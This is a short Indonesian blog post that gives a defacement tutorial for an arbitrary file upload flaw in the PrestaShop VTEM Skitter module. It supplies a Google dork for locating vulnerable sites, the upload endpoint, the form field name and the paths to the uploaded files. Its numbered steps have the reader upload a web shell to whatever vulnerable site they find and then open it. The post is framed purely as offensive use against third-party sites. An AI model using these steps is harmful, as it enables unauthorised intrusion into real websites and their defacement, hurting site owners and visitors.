Pada kesempatan kali ini , gua mau share Deface Menggunakan Prestashop VTEM Skitter Arbitrary File Upload
dah lah langsung ajh
Google Dork : inrul:modules/vtemskitter/
Exploit : /modules/vtemskitter/uploadimage.php
CSRF online : Disini atau Disana
isi Postname dengan = userfile
Akses file = site.com//modules/vtemskitter/img/urfile or site.com//modules/vtemskitter/slides/urfile
Step :
1. Dorking , searchnya di images/gambar saja
2. pilih salah satu gambar
3. masukan exploit di atas
4. vuln = error
5. masukkan site yg vuln tdi ke csrf , isi Postname dengan = userfile. kalo sudak klik OKe
6. upload shell lu , kalo sudah klik JOS
7. akses file liat di atas
Kalo lu msh blm paham -_- gua kasih vidionya punya si Aweu404 neh
0 Response to "Deface Menggunakan Prestashop VTEM Skitter Arbitrary File Upload "
Post a Comment